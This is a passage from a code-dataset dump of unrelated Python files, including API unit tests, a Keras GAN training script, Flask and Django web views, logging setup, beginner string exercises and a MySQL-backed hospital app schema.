Alembic commands ###\n","sub_path":"migrations/migrations/versions/rewards.py","file_name":"rewards.py","file_ext":"py","file_size_in_byte":662,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"613602058","text":"import os\nimport pytest\nfrom unittest.mock import patch, MagicMock\nimport sys\nimport json\nfrom collections import namedtuple\nimport logging as logger\nsys.path.append(os.getcwd())\nimport app\nfrom app.validators import validate_zone\nfrom app.models import User, Domain, Role\nfrom app.schema import DomainSchema\nfrom tests.fixtures import client, basic_auth_admin_headers\nfrom tests.fixtures import zone_data, created_zone_data, load_data\n\n\nclass TestUnitApiZoneAdminUser(object):\n\n @pytest.fixture\n def common_data_mock(self):\n self.oauth_setting_patcher = patch(\n 'app.oauth.Setting',\n spec=app.models.Setting\n )\n self.api_setting_patcher = patch(\n 'app.blueprints.api.Setting',\n spec=app.models.Setting\n )\n self.views_setting_patcher = patch(\n 'app.views.Setting',\n spec=app.models.Setting\n )\n self.helpers_setting_patcher = patch(\n 'app.lib.helper.Setting',\n spec=app.models.Setting\n )\n self.models_setting_patcher = patch(\n 'app.models.Setting',\n spec=app.models.Setting\n )\n self.decorators_setting_patcher = patch(\n 'app.decorators.Setting'\n )\n self.mock_user_patcher = patch(\n 'app.decorators.User'\n )\n self.mock_hist_patcher = patch(\n 'app.blueprints.api.History',\n spec=app.models.History\n )\n\n self.mock_oauth_setting = self.oauth_setting_patcher.start()\n self.mock_views_setting = self.views_setting_patcher.start()\n self.mock_helpers_setting = self.helpers_setting_patcher.start()\n self.mock_models_setting = self.models_setting_patcher.start()\n self.decorators_setting = self.decorators_setting_patcher.start()\n self.api_setting = self.api_setting_patcher.start()\n self.mock_user = self.mock_user_patcher.start()\n self.mock_hist = self.mock_hist_patcher.start()\n\n self.mock_oauth_setting.return_value.get.side_effect = load_data\n self.mock_views_setting.return_value.get.side_effect = load_data\n self.mock_helpers_setting.return_value.get.side_effect = load_data\n self.mock_models_setting.return_value.get.side_effect = load_data\n self.decorators_setting.return_value.get.side_effect = load_data\n self.api_setting.return_value.get.side_effect = load_data\n mockk = MagicMock()\n mockk.role.name = \"Administrator\"\n self.mock_user.query.filter.return_value.first.return_value = mockk\n self.mock_user.return_value.is_validate.return_value = True\n\n def test_empty_get(\n self,\n client,\n common_data_mock,\n basic_auth_admin_headers\n ):\n with patch('app.blueprints.api.Domain') as mock_domain, \\\n patch('app.lib.utils.requests.get') as mock_get:\n mock_domain.return_value.domains.return_value = []\n mock_domain.query.all.return_value = []\n mock_get.return_value.json.return_value = []\n mock_get.return_value.status_code = 200\n\n res = client.get(\n \"/api/v1/pdnsadmin/zones\",\n headers=basic_auth_admin_headers\n )\n data = res.get_json(force=True)\n assert res.status_code == 200\n assert data == []\n\n def test_create_zone(\n self,\n client,\n common_data_mock,\n zone_data,\n basic_auth_admin_headers,\n created_zone_data\n ):\n with patch('app.lib.helper.requests.request') as mock_post, \\\n patch('app.blueprints.api.Domain') as mock_domain:\n mock_post.return_value.status_code = 201\n mock_post.return_value.content = json.dumps(created_zone_data)\n mock_post.return_value.headers = {}\n mock_domain.return_value.update.return_value = True\n\n res = client.post(\n \"/api/v1/pdnsadmin/zones\",\n headers=basic_auth_admin_headers,\n data=json.dumps(zone_data),\n content_type=\"application/json\"\n )\n data = res.get_json(force=True)\n data['rrsets'] = []\n\n validate_zone(data)\n assert res.status_code == 201\n\n def test_get_multiple_zones(\n self,\n client,\n common_data_mock,\n zone_data,\n basic_auth_admin_headers\n ):\n with patch('app.blueprints.api.Domain') as mock_domain:\n test_domain = Domain(1, name=zone_data['name'].rstrip(\".\"))\n mock_domain.query.all.return_value = [test_domain]\n\n res = client.get(\n \"/api/v1/pdnsadmin/zones\",\n headers=basic_auth_admin_headers\n )\n data = res.get_json(force=True)\n\n fake_domain = namedtuple(\n \"Domain\",\n data[0].keys()\n )(*data[0].values())\n domain_schema = DomainSchema(many=True)\n\n json.dumps(domain_schema.dump([fake_domain]))\n assert res.status_code == 200\n\n def test_delete_zone(\n self,\n client,\n common_data_mock,\n zone_data,\n basic_auth_admin_headers\n ):\n with patch('app.lib.utils.requests.request') as mock_delete, \\\n patch('app.blueprints.api.Domain') as mock_domain:\n mock_domain.return_value.update.return_value = True\n mock_domain.query.filter.return_value = True\n mock_delete.return_value.status_code = 204\n mock_delete.return_value.content = ''\n\n zone_url_format = \"/api/v1/pdnsadmin/zones/{0}\"\n zone_url = zone_url_format.format(zone_data['name'].rstrip(\".\"))\n res = client.delete(\n zone_url,\n headers=basic_auth_admin_headers\n )\n\n assert res.status_code == 204\n","sub_path":"tests/unit/zone/test_admin_user.py","file_name":"test_admin_user.py","file_ext":"py","file_size_in_byte":5916,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"201574815","text":"\n\n#calss header\nclass _HARDWARE():\n\tdef __init__(self,): \n\t\tself.name = \"HARDWARE\"\n\t\tself.definitions = [u'the physical and electronic parts of a computer, rather than the instructions it follows', u'metal tools, materials, and equipment used in a house or a garden, such as hammers, nails, and screws', u'equipment, especially if it is for military use or if it is heavy']\n\n\t\tself.parents = []\n\t\tself.childen = []\n\t\tself.properties = []\n\t\tself.jsondata = {}\n\n\n\t\tself.specie = 'nouns'\n\n\n\tdef run(self, obj1 = [], obj2 = []):\n\t\treturn self.jsondata\n","sub_path":"xai/brain/wordbase/nouns/_hardware.py","file_name":"_hardware.py","file_ext":"py","file_size_in_byte":548,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"51259870","text":"# -*- coding: utf-8 -*-\n\nimport logging\nimport logging.handlers\nimport os\nimport os.path\nimport sys\n\nimport config\n\nif not os.path.isdir(config.logger.path):\n os.makedirs(config.logger.path)\n\n\nclass StreamHandler:\n FORMAT = '%(name)s: %(message)s'\n\n def __new__(cls, level=config.logger.level):\n instance = logging.StreamHandler(sys.stdout)\n instance.setFormatter(logging.Formatter(StreamHandler.FORMAT))\n instance.setLevel(level)\n return instance\n\n\nclass TimedRotatingFileHandler:\n FORMAT = '%(asctime)s %(filename)s[%(lineno)d] %(name)s: %(message)s'\n\n def __new__(cls, name, level=config.logger.level):\n instance = logging.handlers.TimedRotatingFileHandler(\n filename=os.path.join(config.logger.path, name + '.log'), when='midnight', interval=1,\n backupCount=7, encoding='utf-8'\n )\n instance.setFormatter(logging.Formatter(TimedRotatingFileHandler.FORMAT))\n instance.setLevel(level)\n return instance\n\n\nroot = logging.root\nroot.setLevel(config.logger.level)\nroot.addHandler(StreamHandler())\nroot.addHandler(TimedRotatingFileHandler('root'))\nroot.addHandler(TimedRotatingFileHandler('error', logging.ERROR))\n\nroot.info('config enviroment was choosen \"%s\"' % config.name)\n\ncritical = root.critical\nerror = root.error\nexception = root.exception\nwarning = root.warning\nwarn = root.warn\ninfo = root.info\ndebug = root.debug\nlog = root.log\n\n\ndef create_successor_logger(name):\n logger = logging.getLogger(name)\n logger.addHandler(TimedRotatingFileHandler(name))\n return logger\n\n# DEFINE YOUR LOGGERS\ntest = create_successor_logger('test')\n# DEFINE YOUR LOGGERS ENDS\n","sub_path":"src/log.py","file_name":"log.py","file_ext":"py","file_size_in_byte":1670,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"497264372","text":"# !/usr/bin/env python\nfrom __future__ import print_function, division\n\nfrom sklearn.model_selection import train_test_split\nfrom tensorflow.keras.layers import Input, Dense, Reshape, Flatten, Dropout, LeakyReLU\nfrom tensorflow.keras.layers import BatchNormalization, Activation, ZeroPadding2D, Add\nfrom tensorflow.keras.models import Sequential, Model\nfrom tensorflow.keras.optimizers import Adam\nimport matplotlib.pyplot as plt\nfrom visualisation_and_evaluation.helpers_vizualisation import plot_tsne, plot_metrics, plot_umap\nimport numpy as np\nimport pandas as pd\nfrom datetime import datetime\nfrom info_on_checkpoint import save_info, save_plots\n\n\nclass GAN():\n def __init__(self, modelname, n_markers=30):\n self.modelname = modelname\n self.data_size = n_markers\n optimizer = Adam(0.0002, 0.5)\n\n # Build and compile the discriminator\n self.discriminator = self.build_discriminator()\n self.discriminator.compile(loss='binary_crossentropy',\n optimizer=optimizer,\n metrics=['accuracy'])\n\n # Build the generator\n self.generator = self.build_generator()\n\n # The generator takes x1 as input and generates gen_x1 (fake x2)\n x1 = Input(shape=(self.data_size,))\n gen_x1 = self.generator(x1)\n\n # For the combined model we will only train the generator\n self.discriminator.trainable = False\n\n # The discriminator takes generated data as input and determines validity\n validity = self.discriminator(gen_x1)\n\n # The combined model (stacked generator and discriminator)\n # Trains the generator to fool the discriminator\n self.combined = Model(inputs=x1, outputs=validity)\n # g_loss = self.combined.train_on_batch(x1, valid)\n self.combined.compile(loss='binary_crossentropy', optimizer=optimizer, )\n\n def residual_block(self, number_of_nodes):\n x1 = Input(shape=(self.data_size,))\n x = x1\n for n in number_of_nodes:\n x = BatchNormalization(momentum=0.8)(x)\n x = LeakyReLU(alpha=0.2)(x)\n x = Dense(n)(x)\n\n # x = Dense(self.data_size)(x)\n x = Activation('tanh')(x)\n\n # x = Add()([x, x1])\n return Model(x1, x)\n\n def build_generator(self):\n x1 = Input(shape=(self.data_size,))\n\n block1 = self.residual_block([30, 40, self.data_size])(x1)\n block2 = self.residual_block([30, 40, self.data_size])(block1)\n block3 = self.residual_block([30, 40, self.data_size])(block2)\n\n # model.add(Reshape(self.img_shape))\n\n model = Model(x1, block3)\n model.summary()\n\n x1_gen = model(x1)\n\n return Model(x1, x1_gen)\n\n\n def build_discriminator(self):\n model = Sequential()\n model.add(Dense(512, input_shape=(self.data_size,)))\n model.add(LeakyReLU(alpha=0.2))\n model.add(BatchNormalization(momentum=0.8))\n\n model.add(Dense(256))\n model.add(LeakyReLU(alpha=0.2))\n model.add(BatchNormalization(momentum=0.8))\n\n model.add(Dense(128))\n model.add(LeakyReLU(alpha=0.2))\n model.add(BatchNormalization(momentum=0.8))\n\n model.add(Dense(1, activation='sigmoid'))\n model.summary()\n\n x2 = Input(shape=self.data_size)\n validity = model(x2)\n return Model(x2, validity)\n\n def train(self, x1_train_df, x2_train_df, epochs, batch_size=128, sample_interval=50):\n fname = datetime.now().strftime(\"%d-%m-%Y_%H.%M.%S\")\n os.makedirs(os.path.join('figures_' + self.modelname, fname))\n os.makedirs(os.path.join('output_' + self.modelname, fname))\n os.makedirs(os.path.join('models_' + self.modelname, fname))\n\n training_metrics = {\"epoch\": [], \"d_loss\": [], \"d_accuracy\": [], \"g_loss\": []}\n\n x1_train = x1_train_df.values\n x2_train = x2_train_df.values\n\n # Adversarial ground truths\n valid = np.ones((batch_size, 1))\n fake = np.zeros((batch_size, 1))\n d_loss = [0, 0]\n\n steps_per_epoch = np.max([x1_train.shape[0], x2_train.shape[0]]) // batch_size\n for epoch in range(epochs):\n for step in range(steps_per_epoch):\n # ---------------------\n # Train Discriminator\n # ---------------------\n\n # Select a random batch of x1 and x2\n idx1 = np.random.randint(0, x1_train.shape[0], batch_size)\n x1 = x1_train[idx1]\n idx2 = np.random.randint(0, x2_train.shape[0], batch_size)\n x2 = x2_train[idx2]\n\n # Generate a batch of new images\n gen_x1 = self.generator.predict(x1)\n\n # Train the discriminator\n if d_loss[1] > 0.8:\n d_loss_real = self.discriminator.test_on_batch(x2, valid)\n d_loss_fake = self.discriminator.test_on_batch(gen_x1, fake)\n d_loss = 0.5 * np.add(d_loss_real, d_loss_fake)\n pass\n else:\n d_loss_real = self.discriminator.train_on_batch(x2, valid)\n d_loss_fake = self.discriminator.train_on_batch(gen_x1, fake)\n d_loss = 0.5 * np.add(d_loss_real, d_loss_fake)\n\n # ---------------------\n # Train Generator\n # ---------------------\n\n # Train the generator (to have the discriminator label samples as valid)\n g_loss = self.combined.train_on_batch(x1, valid)\n\n # Plot the progress\n print(\"%d [D loss: %f, acc.: %.2f%%] [G loss: %f]\" % (epoch, d_loss[0], 100 * d_loss[1], g_loss),\n flush=True)\n\n training_metrics[\"epoch\"].append(epoch)\n training_metrics[\"d_loss\"].append(d_loss[0])\n training_metrics[\"d_accuracy\"].append(d_loss[1])\n training_metrics[\"g_loss\"].append(g_loss)\n\n # If at save interval => save generated image samples\n if epoch % sample_interval == 0:\n print('generating plots and saving outputs')\n gx1 = self.generator.predict(x1_train_df)\n self.generator.save(os.path.join('models_' + self.modelname, fname, 'generator' + str(epoch)))\n save_info.save_dataframes(epoch, x1_train_df, x2_train_df, gx1, fname, dir_name='output_'+self.modelname)\n save_info.save_scores(epoch, x1_train_df, x2_train_df, gx1, training_metrics, fname, dir_name='output_'+self.modelname)\n #save_plots.plot_progress(epoch, x1_train_df, x2_train_df, gx1, training_metrics, fname, umap=False,\n # dir_name='figures_'+self.modelname, autoencoder=False, modelname=self.modelname)\n\n\nif __name__ == '__main__':\n import os\n from loading_and_preprocessing.data_loader import load_data_basic\n path = '/cluster/home/hthrainsson/chevrier_data_pooled_full_panels.parquet'\n # path = r'C:\\Users\\heida\\Documents\\ETH\\Deep Learning\\chevrier_data_pooled_full_panels.parquet'\n x1_train, x1_test, x2_train, x2_test = load_data_basic(path, sample='sample5', batch_names=['batch1', 'batch3'],\n seed=42, panel=None, upsample=True)\n gan = GAN('residual_gan_wo_residuals_full_panels', x1_train.shape[1])\n gan.train(x1_train, x2_train, epochs=600, batch_size=64, sample_interval=25)\n\n x1_train, x1_test, x2_train, x2_test = load_data_basic(path, sample='sample10', batch_names=['batch1', 'batch3'],\n seed=42, panel=None, upsample=True)\n gan = GAN('residual_gan_wo_residuals_full_panels', x1_train.shape[1])\n gan.train(x1_train, x2_train, epochs=600, batch_size=64, sample_interval=25)\n","sub_path":"residual_gan/residual_gan_without_residuals.py","file_name":"residual_gan_without_residuals.py","file_ext":"py","file_size_in_byte":7804,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"467411745","text":"from flask import (\n Blueprint,\n render_template,\n jsonify,\n views,\n url_for,\n request,\n redirect\n)\n\nfrom common.models.food.Food import Food\nfrom config import base\nfrom common.models.member.Comment import Comment\nfrom common.models.member.Member import Member\nfrom common.models.member.AuthMemberBind import AuthMemberBind,db\nfrom common.models.order.PayOrder import PayOrder\nfrom common.navigation.navigation import navigation\nfrom .Form import SetForm\n\nBP = Blueprint(\n '/member',\n __name__,\n template_folder='../templates',\n static_folder='../static',\n static_url_path='/static/',\n url_prefix='/member'\n)\n\n\n\nclass Index(views.MethodView):\n\n def get(self):\n page = request.args.get('p','1')\n status = request.args.get('status','-1')\n key = request.args.get('key')\n if status and status.isdigit():\n status = int(status)\n if page and page.isdigit():\n page = int(page)\n\n if key:\n members = db.session.query(Member).filter(\n db.or_(\n Member.nickname.like('%%%s%%'%(key)),\n Member.email.like('%%%s%%' % (key)),\n Member.mobile.like('%%%s%%' % (key))\n )\n ).all()\n elif status == 1:\n members = db.session.query(Member).filter(Member.status == 1).all()\n\n elif status == 0:\n members = db.session.query(Member).filter(Member.status == 0).all()\n\n else:\n members = db.session.query(Member).all()\n\n page = navigation(page=1, page_count=20, query=members, page_url=url_for('.index'))\n return render_template('member/index.html',pages = page,status=status,key=key)\n\n\n def post(self):\n pass\n\n\nclass Set(views.MethodView):\n\n def get(self):\n mid = request.args.get('mid')\n if mid and mid.isdigit():\n uid = int(mid)\n\n member = db.session.query(Member).filter(Member.mid == mid).first()\n return render_template('member/Set.html',member=member)\n\n def post(self):\n\n res = {'code':200,'msg':'修改成功','data':{}}\n\n forms = SetForm(request.form)\n if forms.validate():\n member = db.session.query(Member).filter(Member.mid == forms.data['mid']).first()\n member.nickname = forms.data['nickname']\n db.session.commit()\n\n else:\n msg = forms.errors.popitem()[1][0]\n res['code'] = 403\n res['msg'] = msg\n return jsonify(res)\n\n\n\n\n\n\nclass Info(views.MethodView):\n\n def get(self):\n mid = request.args.get('mid')\n if mid and mid.isdigit():\n mid = int(mid)\n else:\n return redirect(url_for('.index'))\n member = db.session.query(Member).filter(Member.mid == mid).first()\n order = db.session.query(PayOrder).filter(PayOrder.member_id == mid).all()\n comment = db.session.query(Comment).filter(Comment.member_id == mid).all()\n\n return render_template('member/Info.html',member = member,order=order,comment=comment,status=base.PAY_SUMMARY)\n\n def post(self):\n pass\n\n\nclass Comments(views.MethodView):\n\n def get(self):\n page = request.args.get('page','1')\n try:\n page = int(page)\n except Exception as e:\n return redirect(url_for('.index'))\n comment = db.session.query(Comment,Member,Food).join(Member,Comment.member_id == Member.mid).join(Food,Food.id ==Comment.food_id).all()\n page = navigation(page=page, page_count=20, query=comment, page_url=url_for('.index'))\n return render_template('member/comment.html',pages=page)\n\n def post(self):\n pass\n\n\nclass ChangeStatus(views.MethodView):\n\n def post(self):\n res = {'code':200,'msg':'修改成功','data':{}}\n mid = request.form.get('mid')\n\n if mid and mid.isdigit:\n mid = int(mid)\n member = db.session.query(Member).filter(Member.mid == mid).first()\n if member:\n member.status = 0 if member.status == 1 else 1\n print(member.status,member.nickname)\n db.session.commit()\n else:\n res['code'] = 403\n res['msg'] = '用户不存在'\n\n\n else:\n res['code'] = 400\n res['msg'] = '参数错误'\n\n return jsonify(res)\n\n\n\nBP.add_url_rule('/',view_func=Index.as_view('index'),methods=['GET','POST'])\nBP.add_url_rule('/set/',view_func=Set.as_view('set'),methods=['GET','POST'])\nBP.add_url_rule('/info/',view_func=Info.as_view('info'),methods=['GET','POST'])\nBP.add_url_rule('/comment/',view_func=Comments.as_view('comment'),methods=['GET','POST'])\nBP.add_url_rule('/change/',view_func=ChangeStatus.as_view('change'),methods=['POST'])","sub_path":"flask/web/member/Member.py","file_name":"Member.py","file_ext":"py","file_size_in_byte":4806,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"268443626","text":"from StringIO import StringIO\nfrom difflib import Differ\n\nSTR_TAB = \" \"\nsDiff = Differ()\n#===============================================\ndef _reprCondition(cond, output, repr_level):\n global STR_TAB\n cond_kind = cond[0]\n if cond_kind in (\"or\", \"and\"):\n cond_seq = cond[1:]\n output.write('(')\n _reprCondition(cond_seq[0], output, repr_level)\n for sub_cond in cond_seq[1:]:\n output.write('\\n' + (repr_level + 1) * STR_TAB + cond_kind + \" \")\n _reprCondition(sub_cond, output, repr_level + 1)\n output.write(')')\n elif cond_kind == \"numeric\":\n unit_name, bounds, use_undef = cond[1:]\n seq = []\n if bounds[0] is not None:\n seq.append(str(bounds[0]))\n seq.append(unit_name)\n if bounds[1] is not None:\n seq.append(str(bounds[1]))\n assert len(seq) > 1\n output.write('(' + ' <= '.join(seq) + ')')\n else:\n assert cond_kind == \"enum\"\n unit_name, filter_mode, variants = cond[1:]\n output.write('(' + ' '.join([unit_name, 'in',\n '{' + ', '.join(variants) + '}']) + ')')\n\n#===============================================\ndef treeToText(tree_data):\n global STR_TAB\n output = StringIO();\n\n for instr in tree_data:\n if instr[0] == \"comment\":\n print >> output, \"# \" + instr[1]\n continue\n point_kind, point_level = instr[:2]\n if point_level > 0:\n output.write(point_level * STR_TAB)\n if point_kind == \"term\":\n p_decision = \"True\" if instr[2] else \"False\"\n print >> output, \"return\", p_decision\n continue\n assert point_kind == \"cond\"\n output.write(\"if \")\n _reprCondition(instr[2], output, point_level)\n print >> output\n\n return output.getvalue().splitlines()\n\n\n#===============================================\ndef cmpTrees(tree_data1, tree_data2):\n global sDiff\n result = []\n cur_reg = None\n cmp_res = \"\\n\".join(sDiff.compare(\n treeToText(tree_data1), treeToText(tree_data2)))\n for line in cmp_res.split('\\n'):\n if len(line) == 0:\n continue\n if cur_reg != line[0]:\n cur_reg = line[0]\n result.append([])\n result[-1].append(line)\n return result\n\n","sub_path":"app/xl/tree_repr.py","file_name":"tree_repr.py","file_ext":"py","file_size_in_byte":2315,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"372179746","text":"# n1= int(input(\"Enter first number\"))\n# n2= int(input(\"Enter first number\"))\n\n# if n1>n2:\n# print(\"Bigger number is:\", n1)\n# else:\n# print(\"Bigger number is:\", n2)\n\n# n=input(\"Enter some string:\")\n# index=0\n# count=1\n\n# for char in n:\n# print(\"The Character at\", index, \"is\",char)\n# index= index +1 \n# count=count+1\n# print(\"Total number of characters present in the string\",n,\"is\",count-1)\n\n# x=10\n# for n in range(11):\n# x = x -1\n# if x<0:\n# break\n# else:\n# print(x)\n \n# n=int(input(\"Enter any number:\"))\n# sum=0\n# i=1\n# while i<=n:\n# sum = sum + i\n# i = i + 1\n\n# print(\"Sum of first\",n,\"numbers is\",sum)\n\n# for i in range(1,10):\n# print(i)\n\n# s=input(\"Enter String:\")\n# s1=input(\"Enter sub string\")\n\n# if s1 in s:\n# print(\"Substring:{} is present in Main srting:{}\".format(s1,s))\n# else:\n# print(\"Substring:{} is NOT present in Main srting:{}\".format(s1,s))\n\ns=input(\"Enter Main String: \")\ns1=input(\"Enter Sub String: \")\nflag = False\nn=len(s)\nposition=-1\ncount =0\nwhile True:\n \n position=s.find(s1,position+1,n)\n \n #print(\"Substring found at: \", position)\n if position == -1:\n break\n print(\"Substring found at index: \", position)\n count = count+1\n flag=True\n \nprint(\"Total count is\", count)\nif flag==False:\n print(\"Substring,\",s1, \"Not found\")\n","sub_path":"conditional.py","file_name":"conditional.py","file_ext":"py","file_size_in_byte":1356,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"598179345","text":"from django.urls import path\n\nfrom . import views\n\napp_name = 'polls'\n\nurlpatterns = [\n \n path('', views.IndexView.as_view(), name='index'),\n path('<int:question_id>/vote/', views.VoteView.as_view(), name='vote'),\n path('results/<int:question_id>/', views.ResultsView.as_view(), name='results'),\n\n path('manage_polls/', views.ManagePollsView.as_view(), name='manage_polls'),\n path('add_poll', views.add_poll, name=\"add_poll\"),\n path('edit_poll/<str:question_id>', views.edit_poll, name=\"edit_poll\"),\n path('delete_poll/<str:question_id>', views.delete_poll, name=\"delete_poll\"),\n \n]\n","sub_path":"polls/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":610,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"265743689","text":"import os\nimport sys\n\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport scipy\nimport scipy.io as sio\n\nfrom slice_plotter import Slice_Plotter\nfrom slice_plotter import quick_slice_plot\nfrom matplotlib.widgets import RectangleSelector\nfrom matplotlib.patches import Rectangle\n\ndef select_callback_link(link_target, plotter):\n def select_callback(eclick, erelease):\n x1, y1 = eclick.xdata, eclick.ydata\n x2, y2 = erelease.xdata, erelease.ydata\n plotter.pop_patch(link_target[4])\n link_target[0:5] = (x1, x2, y1, y2, plotter.ind)\n patch = Rectangle((x1, y1), x2 - x1, y2 - y1, fill=False, color='r')\n plotter.add_patch(patch, plotter.ind)\n return select_callback\n\ndef close_on_enter(event):\n if event.key == 'enter':\n plt.close()\n if event.key == 'q':\n print('Quitting...')\n quit()\n\ndef select_mask(mag, mag_mask, z_range=3, title_id=None, int_output=False, confirm=True, mask_type='int32'):\n\n cmap = plt.get_cmap('bone')\n cmap.set_bad('black')\n\n good = False\n artery_mask = np.zeros_like(mag, dtype='float32')\n\n title = f'Magnitude -- select target region'\n if title_id is not None:\n title = title_id + ' ' + title\n\n while not good:\n rect_vars = np.zeros(5).astype('int32')\n while np.all(rect_vars == 0):\n mag_fig, mag_ax = plt.subplots(1, 1)\n mag_plotter = Slice_Plotter(mag_ax, np.transpose(mag * mag_mask, axes=(1, 0, 2)), title=title, cmap=cmap)\n mag_fig.canvas.mpl_connect('scroll_event', mag_plotter.onscroll)\n selector = RectangleSelector(mag_ax, select_callback_link(rect_vars, mag_plotter),\n drawtype='box', useblit=True,\n button=[1], # left click only\n minspanx=5, minspany=5,\n spancoords='pixels',\n interactive=True)\n\n\n mag_fig.canvas.mpl_connect('scroll_event', mag_plotter.onscroll)\n mag_fig.canvas.mpl_connect('key_press_event', close_on_enter)\n print(f'Locate arteries on labeling plane')\n plt.show()\n plt.close()\n del selector\n\n x1 = int(np.floor(np.min(rect_vars[0:2])))\n x2 = int(np.ceil(np.max(rect_vars[0:2])))\n y1 = int(np.floor(np.min(rect_vars[2:4])))\n y2 = int(np.ceil(np.max(rect_vars[2:4])))\n z = rect_vars[4]\n\n x_slice = slice(x1, x2 + 1)\n y_slice = slice(y1, y2 + 1)\n z_slice = slice(max(0, z - (z_range - 1) // 2), min(mag.shape[2] - 1, z + z_range // 2 + 1))\n artery_mask[x_slice, y_slice, z_slice] = 1\n\n artery_mask[artery_mask == 0] = np.nan\n artery_mask = artery_mask * mag_mask\n \n \n\n\n mag_fig, mag_ax = plt.subplots(1, 1)\n mag_plotter = Slice_Plotter(mag_ax, np.transpose((mag * artery_mask)[..., z_slice], axes=(1, 0, 2)), f'Target mask', cmap=cmap)\n mag_fig.canvas.mpl_connect('scroll_event', mag_plotter.onscroll)\n mag_fig.canvas.mpl_connect('key_press_event', close_on_enter)\n\n print('Confirm mask -- close when done')\n plt.show(block=True)\n plt.close()\n\n valid = False\n if not confirm:\n valid = True\n good = True\n while not valid:\n confirm = input('Good? [Y/N/Q]: ').upper()\n valid = True\n if confirm == 'Y':\n good = True\n elif confirm == 'N':\n good = False\n elif confirm == 'Q':\n print('Quitting...')\n quit()\n else:\n valid = False\n\n if int_output:\n artery_mask[artery_mask == np.nan] = 0\n artery_mask = artery_mask.astype(mask_type)\n\n return artery_mask","sub_path":"select_mask.py","file_name":"select_mask.py","file_ext":"py","file_size_in_byte":3878,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"620734392","text":"'''list1=[1,2,3,4,5]\nlist2=[3,4,5,6,7]\nprint(i for i in list1 if i in list2)\n\nset1=set(list1)\nset2=set(list2)\nprint(set1 & set2)'''\n\nlist1 = [1,2,3,4,5]\nlist2 = [3,4,5,6,7]\nprint([l for l in list1 if l in list2])","sub_path":"work1/1-3.py","file_name":"1-3.py","file_ext":"py","file_size_in_byte":212,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"622353564","text":"from django.conf.urls import url\nfrom basic_app import views\n\n# SET THE NAMESPACE!\napp_name = 'basic_app'\n\n# Be careful setting the name to just /login use userlogin instead!\nurlpatterns=[\n url(r'^register/$',views.register,name='register'),\n url(r'^user_login/$',views.user_login,name='user_login'),\n url(r'^application/$',views.application,name='application'),\n url(r'^notifications/$',views.notification,name='notifications'),\n url(r'^grievances/$',views.grievances,name='grievances'),\n \n]\n","sub_path":"learning_users/basic_app/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":511,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"349323325","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Mon May 28 16:09:19 2018\r\n\r\nIf we list all the natural numbers below 10 that are multiples of 3 or 5, \r\nwe get 3, 5, 6 and 9. The sum of these multiples is 23.\r\n\r\nFind the sum of all the multiples of 3 or 5 below 1000.\r\n\r\n\"\"\"\r\n\r\nmultiples = [] \r\nn=0\r\nwhile n<999:\r\n n=n+1\r\n if n%3==0 or n%5==0:\r\n multiples.append(n) \r\n \r\nprint(sum(multiples)) ","sub_path":"ex001.py","file_name":"ex001.py","file_ext":"py","file_size_in_byte":476,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"295284911","text":"from flask import Flask, render_template, request, redirect, url_for, session, flash\nfrom calender import sync_cal\nimport mysql.connector \nmydb = mysql.connector.connect(\n host = \"localhost\",\n user = \"root\",\n passwd = \"mysql\"\n)\nmycursor = mydb.cursor()\nmycursor.execute(\"CREATE DATABASE IF NOT EXISTS ORDep\")\nmydb = mysql.connector.connect(\n host = \"localhost\",\n user = \"root\",\n passwd = \"mysql\",\n database = \"ORDep\"\n)\nmycursor = mydb.cursor()\nmycursor.execute(\"CREATE TABLE IF NOT EXISTS Doctors (UserName VARCHAR(255), ID INT, PassWord VARCHAR(20), FirstName VARCHAR(255), LastName VARCHAR(255),Gender VARCHAR(10) ,Nationality VARCHAR(255),BDay INT,BMonth INT,BYear INT, Mobile INT ,Email VARCHAR(255),Address VARCHAR(255),PRIMARY KEY(ID), image blob)\")\nmycursor.execute(\"CREATE TABLE IF NOT EXISTS Admins (UserName VARCHAR(255), ID INT, PassWord VARCHAR(20),FirstName VARCHAR(255), LastName VARCHAR(255),Gender VARCHAR(10) ,Nationality VARCHAR(255),BDay INT,BMonth INT,BYear INT,Mobile INT, Email VARCHAR(255),Address VARCHAR(255),PRIMARY KEY(ID), image blob)\")\nmycursor.execute(\"CREATE TABLE IF NOT EXISTS Patients (UserName VARCHAR(255), ID INT, PassWord VARCHAR(20),FirstName VARCHAR(255), LastName VARCHAR(255),Gender VARCHAR(10) ,Nationality VARCHAR(255),BDay INT,BMonth INT,BYear INT,Mobile INT,Email VARCHAR(255),Address VARCHAR(255), Weight INT, Height INT, ChronicDiseases VARCHAR(255), Allergies VARCHAR(255), PreviousOperations VARCHAR(255),PRIMARY KEY(ID), image blob)\")\nmycursor.execute(\"CREATE TABLE IF NOT EXISTS OperationRooms ( RoomNumber INT, PRIMARY KEY(RoomNumber) )\")\nmycursor.execute(\"CREATE TABLE IF NOT EXISTS Operations ( ID INT, PRIMARY KEY(ID), Type VARCHAR(100), Day INT, Month INT, Year INT, OperationLevel VARCHAR(20), EstimatedHours INT, PatientID INT, FOREIGN KEY (PatientID) REFERENCES Patients(ID), LeadingDoctorID INT, FOREIGN KEY (LeadingDoctorID) REFERENCES Doctors(ID), Status 